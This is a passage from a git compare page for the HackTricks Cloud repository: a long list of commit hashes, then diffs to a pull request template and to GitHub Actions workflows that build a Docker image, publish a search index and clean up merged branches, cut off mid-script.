mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Compare commits
621 Commits
tr
...
searchinde
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1b274752fd | ||
|
|
63f5aa81e3 | ||
|
|
eb7245d3fd | ||
|
|
675092de06 | ||
|
|
570c0f46af | ||
|
|
2468851007 | ||
|
|
d0ebc37eb3 | ||
|
|
79fd264473 | ||
|
|
becec234f4 | ||
|
|
143e6bdfe9 | ||
|
|
2a5d2dea9e | ||
|
|
9b52c7953d | ||
|
|
07628e009a | ||
|
|
8d39c38b58 | ||
|
|
7097f55620 | ||
|
|
f96fed548e | ||
|
|
21b31a3be3 | ||
|
|
5d031d4518 | ||
|
|
1e51bb702d | ||
|
|
1111212cbb | ||
|
|
bb763109dc | ||
|
|
25af34d5a2 | ||
|
|
a10148e331 | ||
|
|
b904273a19 | ||
|
|
0aa87b8319 | ||
|
|
004e341804 | ||
|
|
24c1d54861 | ||
|
|
015b24f51c | ||
|
|
8589cf621f | ||
|
|
c8957b9107 | ||
|
|
ecebe97de5 | ||
|
|
fe691c5c50 | ||
|
|
de064b1b68 | ||
|
|
ea0f667e57 | ||
|
|
b7a1554deb | ||
|
|
1304799271 | ||
|
|
18e756320d | ||
|
|
78767e199c | ||
|
|
65816a9798 | ||
|
|
fc5e23269c | ||
|
|
89a2ab54ae | ||
|
|
f3afa739ad | ||
|
|
d11f3a3880 | ||
|
|
590e54ea9e | ||
|
|
f539a9e2d9 | ||
|
|
e153dc47b0 | ||
|
|
9242d2e4d9 | ||
|
|
37b03b3517 | ||
|
|
a6491998d2 | ||
|
|
dba44c006e | ||
|
|
b9b20e4567 | ||
|
|
391b11e92c | ||
|
|
19024e5a7c | ||
|
|
4d9445d2bb | ||
|
|
7f435558c4 | ||
|
|
a7ce58fa25 | ||
|
|
5b5e339f96 | ||
|
|
5bd2aafc8e | ||
|
|
00730ca794 | ||
|
|
923f510164 | ||
|
|
fec9bfb986 | ||
|
|
6a11053885 | ||
|
|
de46109976 | ||
|
|
fd19dc2304 | ||
|
|
599d45c50a | ||
|
|
5b2a228050 | ||
|
|
d1f95b1929 | ||
|
|
846ad61b73 | ||
|
|
c09016a56f | ||
|
|
77b76bfb00 | ||
|
|
3883d1a74e | ||
|
|
ebb51f81bb | ||
|
|
d761716a28 | ||
|
|
467491e1ae | ||
|
|
d05d94d995 | ||
|
|
bc1201eb61 | ||
|
|
15ff9a7d1c | ||
|
|
4880cb4574 | ||
|
|
05853fcc19 | ||
|
|
a45973b8a7 | ||
|
|
38dae42b81 | ||
|
|
5adcd244f6 | ||
|
|
33ca677b86 | ||
|
|
b1af5ce692 | ||
|
|
61ae9f83db | ||
|
|
07a16af4ec | ||
|
|
f45429555e | ||
|
|
f92d67cfdc | ||
|
|
d7c57cba6e | ||
|
|
a641fcea8a | ||
|
|
eb4f46f714 | ||
|
|
1ceeca1326 | ||
|
|
68267218a7 | ||
|
|
3901748f3d | ||
|
|
68de9f8acc | ||
|
|
236a8a2cec | ||
|
|
d373f62166 | ||
|
|
c2c232fd46 | ||
|
|
f3fd4b9294 | ||
|
|
dd2c5af442 | ||
|
|
ee4da87049 | ||
|
|
3b1f434a66 | ||
|
|
8db7266efb | ||
|
|
59437b9b32 | ||
|
|
ea3041d9a2 | ||
|
|
f171d1a97d | ||
|
|
855ef5fd9e | ||
|
|
3ff0c8a86f | ||
|
|
414eeda035 | ||
|
|
dac7b0f906 | ||
|
|
3b456ebc2e | ||
|
|
f0df70528a | ||
|
|
f705477774 | ||
|
|
aff8ab0252 | ||
|
|
06b577d42f | ||
|
|
14e986b2a7 | ||
|
|
581f09f904 | ||
|
|
c76cc24a59 | ||
|
|
15bde67918 | ||
|
|
3f16d3c5f3 | ||
|
|
82a44ea4c0 | ||
|
|
839f139795 | ||
|
|
b82a88252c | ||
|
|
c3cfb95b87 | ||
|
|
e0b92e3b7a | ||
|
|
f521c0d95a | ||
|
|
96b0de9ec9 | ||
|
|
6b96bae348 | ||
|
|
5fd9ed5048 | ||
|
|
3157069bde | ||
|
|
ccd50a451d | ||
|
|
0a1f3dea22 | ||
|
|
e1bc13c19c | ||
|
|
58c7ae8399 | ||
|
|
0ba0d247a8 | ||
|
|
6f8738f34f | ||
|
|
5a6cd9a85c | ||
|
|
ed2ae1e58f | ||
|
|
dbe2969386 | ||
|
|
97759b6cec | ||
|
|
95f380db6b | ||
|
|
65da889db0 | ||
|
|
45a7b74a0f | ||
|
|
4d2fa75b55 | ||
|
|
84bc28f8bb | ||
|
|
ebd15ccb63 | ||
|
|
f72768b30f | ||
|
|
7a92891381 | ||
|
|
e98c16371b | ||
|
|
b1b0b0c536 | ||
|
|
e324b93d88 | ||
|
|
baff049eb8 | ||
|
|
46a8364006 | ||
|
|
ce9f3f87af | ||
|
|
8655bc665f | ||
|
|
26022c0005 | ||
|
|
a315ad9465 | ||
|
|
26d6010bfd | ||
|
|
d613dc8ce7 | ||
|
|
e93215546e | ||
|
|
b4bb813717 | ||
|
|
ab12e74c5e | ||
|
|
55658adf68 | ||
|
|
e10e318840 | ||
|
|
3662845c9c | ||
|
|
7b475f151e | ||
|
|
cfacf65682 | ||
|
|
cacc26efe4 | ||
|
|
3f6485403c | ||
|
|
ec63e0077a | ||
|
|
8197352f5b | ||
|
|
e75ef47d73 | ||
|
|
4c5a2d0b51 | ||
|
|
f26eba3574 | ||
|
|
e1a1b2a31f | ||
|
|
d21b704799 | ||
|
|
278e22cf25 | ||
|
|
ba62c1ded8 | ||
|
|
e6af835b2d | ||
|
|
c3110e5dc2 | ||
|
|
c3d732d46b | ||
|
|
16833c8621 | ||
|
|
e004aa173d | ||
|
|
32d8b32e1f | ||
|
|
8cb8cf4b78 | ||
|
|
682420bd96 | ||
|
|
423b2f5d24 | ||
|
|
06302efcc4 | ||
|
|
12f8a8240c | ||
|
|
cc8c3b9bc7 | ||
|
|
e3be82da7b | ||
|
|
5c9151d0a9 | ||
|
|
4f8f9ebb5d | ||
|
|
a59586d035 | ||
|
|
6f5f13f1d1 | ||
|
|
d0a10b4b59 | ||
|
|
3153e9e112 | ||
|
|
4ba5101450 | ||
|
|
46317efe3f | ||
|
|
13cd85219b | ||
|
|
bb4337235e | ||
|
|
4adabb8e45 | ||
|
|
64e6b18369 | ||
|
|
e79a494c75 | ||
|
|
e8310823ee | ||
|
|
94d6bb7be6 | ||
|
|
3886eb0679 | ||
|
|
b4a33ce277 | ||
|
|
b206e184f6 | ||
|
|
1562438890 | ||
|
|
9c7ae3465b | ||
|
|
afef551baa | ||
|
|
45f06743a5 | ||
|
|
2cf7ab9070 | ||
|
|
a67f9f67e9 | ||
|
|
b76f4ee32e | ||
|
|
c57b961d3f | ||
|
|
6a65d520db | ||
|
|
2d8e6cc317 | ||
|
|
1af7a95753 | ||
|
|
81bd25041e | ||
|
|
a2fc1bb9e4 | ||
|
|
245801a8f3 | ||
|
|
c8ee4e1f63 | ||
|
|
87d7a35977 | ||
|
|
df415302d4 | ||
|
|
227bd60d9d | ||
|
|
6113778d42 | ||
|
|
6229cc5c3f | ||
|
|
cc3464f588 | ||
|
|
84c84de0f6 | ||
|
|
1af5f28379 | ||
|
|
d22733b802 | ||
|
|
13e0bddd0c | ||
|
|
2f1397e2df | ||
|
|
a1718ef3d5 | ||
|
|
c01bb34d34 | ||
|
|
57d0f100e5 | ||
|
|
9e731ee081 | ||
|
|
f37c444854 | ||
|
|
cb0f15bd18 | ||
|
|
05ef9e4e88 | ||
|
|
653f16bf02 | ||
|
|
02f3d3d27e | ||
|
|
fd7e52a9f0 | ||
|
|
a31a609a53 | ||
|
|
2d20c080f1 | ||
|
|
a1abf4a40e | ||
|
|
3267900f8e | ||
|
|
d24b4f4947 | ||
|
|
cb93bc9325 | ||
|
|
89bd5603b5 | ||
|
|
a214e36c16 | ||
|
|
46fb09dbc7 | ||
|
|
c6c5326731 | ||
|
|
0d99994b28 | ||
|
|
518ec63594 | ||
|
|
365ec0ea1b | ||
|
|
55bb9cabcd | ||
|
|
b63860c1b3 | ||
|
|
f396d310ed | ||
|
|
fb64ce166d | ||
|
|
60fe5b65e9 | ||
|
|
d6a90112e4 | ||
|
|
8ac043f850 | ||
|
|
d0ca3b4c13 | ||
|
|
0721cb17a8 | ||
|
|
0a7aa1d734 | ||
|
|
f976ae1b70 | ||
|
|
73895ccc90 | ||
|
|
a0c66139cf | ||
|
|
6d3e83b6fa | ||
|
|
323213ba74 | ||
|
|
f87ea41409 | ||
|
|
fa3baebd58 | ||
|
|
ecb7b8f136 | ||
|
|
64bb51ab33 | ||
|
|
043f28492d | ||
|
|
7136d61e6b | ||
|
|
aa4d2f583f | ||
|
|
5276c9c7db | ||
|
|
005dee76e9 | ||
|
|
954173982d | ||
|
|
014036afb7 | ||
|
|
ff9846dbc6 | ||
|
|
5c6a20ff62 | ||
|
|
524edcbc09 | ||
|
|
8be8f721ca | ||
|
|
d7937f5851 | ||
|
|
8cca683281 | ||
|
|
29db46c537 | ||
|
|
35075688aa | ||
|
|
49023a7e71 | ||
|
|
ec902048e6 | ||
|
|
413635f6ed | ||
|
|
160cdf0767 | ||
|
|
ce9d8e9162 | ||
|
|
27bda8c014 | ||
|
|
d9b93c0df5 | ||
|
|
62ee9ee386 | ||
|
|
1c761c2a55 | ||
|
|
849a545f21 | ||
|
|
cfc01c0374 | ||
|
|
6915cfa68c | ||
|
|
aed8d2e643 | ||
|
|
b2bf4d9b07 | ||
|
|
6788b5e0a5 | ||
|
|
5c702e69b9 | ||
|
|
42f78679a2 | ||
|
|
6c40f6cac4 | ||
|
|
fcb6c989fc | ||
|
|
8d310c43f5 | ||
|
|
27d96d81e1 | ||
|
|
6d88cb548f | ||
|
|
1216308b18 | ||
|
|
00f4a32ae3 | ||
|
|
96579673c1 | ||
|
|
f8c4c4d8ac | ||
|
|
3902e8cafd | ||
|
|
39876cd315 | ||
|
|
d668cf5452 | ||
|
|
d54cb2b5ff | ||
|
|
c79c359fd2 | ||
|
|
1efe5e7e77 | ||
|
|
7991ff4fae | ||
|
|
045b6c2320 | ||
|
|
ab888d748c | ||
|
|
5d3c7b0348 | ||
|
|
d77d87d686 | ||
|
|
9c0cfb6529 | ||
|
|
2730856acc | ||
|
|
221636beae | ||
|
|
740801ab61 | ||
|
|
23ce7a243e | ||
|
|
13f89a6674 | ||
|
|
776d9f73df | ||
|
|
c8c09b0abb | ||
|
|
329ef07c7e | ||
|
|
aad012f215 | ||
|
|
50029a6488 | ||
|
|
5bb4e02a58 | ||
|
|
c0a3872982 | ||
|
|
a19517f026 | ||
|
|
429913c5ec | ||
|
|
2d32b37d9c | ||
|
|
77da1e58ca | ||
|
|
516553f4bf | ||
|
|
188b9a7b0a | ||
|
|
58556acb7d | ||
|
|
0148473b67 | ||
|
|
b832183456 | ||
|
|
3e96d64e50 | ||
|
|
7336c976ae | ||
|
|
def87f1ffb | ||
|
|
b715d43fad | ||
|
|
c6b3795cc5 | ||
|
|
8fa715b08d | ||
|
|
aeb3f8b582 | ||
|
|
568e936ca0 | ||
|
|
2456bca341 | ||
|
|
f138e0366f | ||
|
|
c089890c84 | ||
|
|
901725b847 | ||
|
|
fea4bb8938 | ||
|
|
7026e4e728 | ||
|
|
0e15aeffba | ||
|
|
b7dc63cd26 | ||
|
|
4c9c8c10ac | ||
|
|
64f5661515 | ||
|
|
bee34f3c05 | ||
|
|
2f84f3f328 | ||
|
|
892232fe26 | ||
|
|
c71aa6f7b1 | ||
|
|
ab3e89c82d | ||
|
|
caf320e355 | ||
|
|
e841f06505 | ||
|
|
6456eab2cf | ||
|
|
3c746383c6 | ||
|
|
064162062f | ||
|
|
e3ca81040e | ||
|
|
4313cc72bc | ||
|
|
80b91382f3 | ||
|
|
0828130954 | ||
|
|
94e634230a | ||
|
|
5e48ce18e0 | ||
|
|
61c70bfefd | ||
|
|
ce2ede1e01 | ||
|
|
127c85e7d2 | ||
|
|
40e08a1893 | ||
|
|
e746e3e353 | ||
|
|
0f7175eb98 | ||
|
|
d109bb6b44 | ||
|
|
2505aec847 | ||
|
|
cc5dc4c885 | ||
|
|
09a10afd24 | ||
|
|
0d9b4e5917 | ||
|
|
ad0fd2ac62 | ||
|
|
47c4eb2f02 | ||
|
|
8b8705f5a2 | ||
|
|
e82c35b07f | ||
|
|
5f47797e6a | ||
|
|
90a2f79a0f | ||
|
|
baa1c7240d | ||
|
|
0f6da30192 | ||
|
|
06d67a4432 | ||
|
|
f9413e0d34 | ||
|
|
31acbca2ed | ||
|
|
e938af6965 | ||
|
|
8d0d445b93 | ||
|
|
9cd2ef8e2f | ||
|
|
c4b06ab12c | ||
|
|
5537bfe63d | ||
|
|
6e477bc296 | ||
|
|
46af6b9474 | ||
|
|
e6644e6caa | ||
|
|
fcc20e6908 | ||
|
|
8be9956703 | ||
|
|
2be77df66d | ||
|
|
8594fa5343 | ||
|
|
ba04a6a2ff | ||
|
|
d2f2655fc4 | ||
|
|
5a5104fe95 | ||
|
|
ef85d7fdd5 | ||
|
|
83bc9f97e8 | ||
|
|
d3b9883283 | ||
|
|
81acaa16e0 | ||
|
|
70d0f13e7e | ||
|
|
8392cf548c | ||
|
|
0b97b3caff | ||
|
|
4df9252db4 | ||
|
|
3350e31738 | ||
|
|
17be115fa6 | ||
|
|
ccbbfaee00 | ||
|
|
b98496aaed | ||
|
|
30399528e4 | ||
|
|
650655363f | ||
|
|
615a959bb6 | ||
|
|
0d198fe961 | ||
|
|
abbd0a816b | ||
|
|
13df9aee51 | ||
|
|
eb110dfd72 | ||
|
|
491627bf9f | ||
|
|
ca5a9e1037 | ||
|
|
7537334e2c | ||
|
|
bb664c142d | ||
|
|
4eafaed2b1 | ||
|
|
e158438a0f | ||
|
|
57da0bf8db | ||
|
|
ae7aefe448 | ||
|
|
19401f19d6 | ||
|
|
92b3c384c8 | ||
|
|
0d26e5ed8c | ||
|
|
cd5de3879c | ||
|
|
dc557dad46 | ||
|
|
d6597f9990 | ||
|
|
77a117d772 | ||
|
|
699a707bb6 | ||
|
|
b741525093 | ||
|
|
60b1ca6b88 | ||
|
|
30236714f5 | ||
|
|
f258a13eef | ||
|
|
4e491e3f55 | ||
|
|
b3cfc40029 | ||
|
|
26bf439a59 | ||
|
|
3757efbd43 | ||
|
|
d13ebeaeb5 | ||
|
|
3f01e5e4fa | ||
|
|
8452766003 | ||
|
|
9bea483104 | ||
|
|
7162236a6b | ||
|
|
f5c7490026 | ||
|
|
2383d6958b | ||
|
|
fd5fc9957a | ||
|
|
d42d244a6a | ||
|
|
117bb933af | ||
|
|
9a9ea3101f | ||
|
|
ec6fcd37f0 | ||
|
|
551524079b | ||
|
|
92d27a9632 | ||
|
|
cfcc836974 | ||
|
|
7838f68347 | ||
|
|
452fb430b3 | ||
|
|
ba94d85a36 | ||
|
|
a9b9e95899 | ||
|
|
5a2543873e | ||
|
|
b353597cd3 | ||
|
|
9ed1b29bb9 | ||
|
|
01295fcd13 | ||
|
|
81d2665909 | ||
|
|
873eba38c0 | ||
|
|
979ea57c3b | ||
|
|
ae6616b63b | ||
|
|
dbac949488 | ||
|
|
3e06c28e43 | ||
|
|
5d21fb67a6 | ||
|
|
25395ae94a | ||
|
|
626155bec1 | ||
|
|
8f02f9f5a5 | ||
|
|
d9c68fcf04 | ||
|
|
c76f3defdd | ||
|
|
569f2be7c9 | ||
|
|
416e7cf699 | ||
|
|
480c6ba178 | ||
|
|
8f6514eed9 | ||
|
|
6736e6d5c8 | ||
|
|
1bc1085d79 | ||
|
|
50f10aa913 | ||
|
|
bb6035c0ca | ||
|
|
b6310f4ac6 | ||
|
|
9bcaf7c6df | ||
|
|
a60a5be8d2 | ||
|
|
250329b9aa | ||
|
|
64ab139a57 | ||
|
|
38ec0650ca | ||
|
|
a027dd2a21 | ||
|
|
1e69b05fe7 | ||
|
|
9f84500da6 | ||
|
|
62664886c7 | ||
|
|
e4b1066789 | ||
|
|
0f2e9443ca | ||
|
|
dbb3f98a12 | ||
|
|
234398ad6e | ||
|
|
a6e5b378be | ||
|
|
cdd6583bb6 | ||
|
|
12c468f714 | ||
|
|
0996afea1b | ||
|
|
3fd7b2b8a2 | ||
|
|
e47fdfb9ea | ||
|
|
d6f87481ef | ||
|
|
3000c3b4fe | ||
|
|
15ce1f2a40 | ||
|
|
8ec34fc329 | ||
|
|
5d6efaa6a6 | ||
|
|
73e6fee408 | ||
|
|
833b571498 | ||
|
|
37bf365f5b | ||
|
|
8b52bc23a3 | ||
|
|
d9f6b34673 | ||
|
|
9021590856 | ||
|
|
8ea0f4a3f1 | ||
|
|
78334993a2 | ||
|
|
e8cee6743c | ||
|
|
55fc400bf7 | ||
|
|
dc16c9ff9f | ||
|
|
6d926a6f72 | ||
|
|
d9a7ae2880 | ||
|
|
be659333c8 | ||
|
|
cb67f59e59 | ||
|
|
b3f82cc35c | ||
|
|
1f00ec798e | ||
|
|
782d409f47 | ||
|
|
30f14affe7 | ||
|
|
65cfe4be40 | ||
|
|
39ef4428ef | ||
|
|
de7e5d2eb0 | ||
|
|
78f6ebfdc9 | ||
|
|
4b9cb59f09 | ||
|
|
3b671863b3 | ||
|
|
110692ec5f | ||
|
|
065d29019c | ||
|
|
184a36301a | ||
|
|
c3b572db87 | ||
|
|
894d2f8dc6 | ||
|
|
3eff514680 | ||
|
|
4fae1360a8 | ||
|
|
372ccdf299 | ||
|
|
0c3d697d67 | ||
|
|
cdf8430598 | ||
|
|
432e916b2f | ||
|
|
cb23139acd | ||
|
|
1a41153b95 | ||
|
|
06184f73ec | ||
|
|
bde9b73eb1 | ||
|
|
69db82891a | ||
|
|
52142003ec | ||
|
|
a850e268dc | ||
|
|
cc120ade68 | ||
|
|
3000248da2 | ||
|
|
1a5f666c80 | ||
|
|
95f91529c7 | ||
|
|
b65df65002 | ||
|
|
1c333d4cab | ||
|
|
b0794c4b1c | ||
|
|
009ef58e30 | ||
|
|
ad6c542f82 | ||
|
|
3a7480d764 | ||
|
|
4b71029629 | ||
|
|
c1aee098b6 | ||
|
|
ec0ff62bcb | ||
|
|
2244c6b485 | ||
|
|
61bc94e77d | ||
|
|
13358c1371 | ||
|
|
1e29cb77cc | ||
|
|
d65983432b | ||
|
|
18d1953edd | ||
|
|
c395861d3d | ||
|
|
d9247bf598 | ||
|
|
853e602bc2 | ||
|
|
8750a93d41 | ||
|
|
b918609383 | ||
|
|
3d1f96fd4a | ||
|
|
9eec79f700 | ||
|
|
8a25a0856f | ||
|
|
e67cc3f450 | ||
|
|
194ae6d76b | ||
|
|
d53ffc12eb | ||
|
|
c520826284 | ||
|
|
7a0a0329a7 | ||
|
|
a7bf8124da | ||
|
|
b340bf8ada | ||
|
|
bad627b7db | ||
|
|
96cc8f9772 | ||
|
|
1922e106fd | ||
|
|
d7d5e4a93c | ||
|
|
716aa06779 | ||
|
|
4ef00e6b1b | ||
|
|
2beb8398a6 | ||
|
|
d0b9174054 | ||
|
|
d0e6a85e6f | ||
|
|
d96df379fd | ||
|
|
4d622f5500 |
19
.github/pull_request_template.md
vendored
19
.github/pull_request_template.md
vendored
@@ -1,9 +1,16 @@
|
||||
## Atıf
|
||||
Bilginizi değerlendiriyoruz ve içerik paylaşmanızı teşvik ediyoruz. Lütfen yalnızca sahip olduğunuz veya orijinal yazardan paylaşma izni aldığınız içeriği yüklediğinizden emin olun (eklenen metinde veya değiştirdiğiniz sayfanın sonunda yazara bir referans ekleyerek veya her ikisini yaparak). Fikri mülkiyet haklarına saygınız, herkes için güvenilir ve yasal bir paylaşım ortamını teşvik eder.
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
|
||||
## HackTricks Training
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
## HackTricks Eğitimi
|
||||
Eğer [ARTE sertifikası](https://training.hacktricks.xyz/courses/arte) sınavında 3 yerine 2 bayrakla geçmek için ekleme yapıyorsanız, PR'yi `arte-<kullanıcı adı>` olarak adlandırmalısınız.
|
||||
|
||||
Ayrıca, dilbilgisi/sözdizimi düzeltmelerinin sınav bayrak azaltımı için kabul edilmeyeceğini unutmayın.
|
||||
|
||||
Her durumda, HackTricks'e katkıda bulunduğunuz için teşekkürler!
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
Normal file
56
.github/workflows/build_docker.yml
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,12 +14,15 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -27,32 +30,65 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
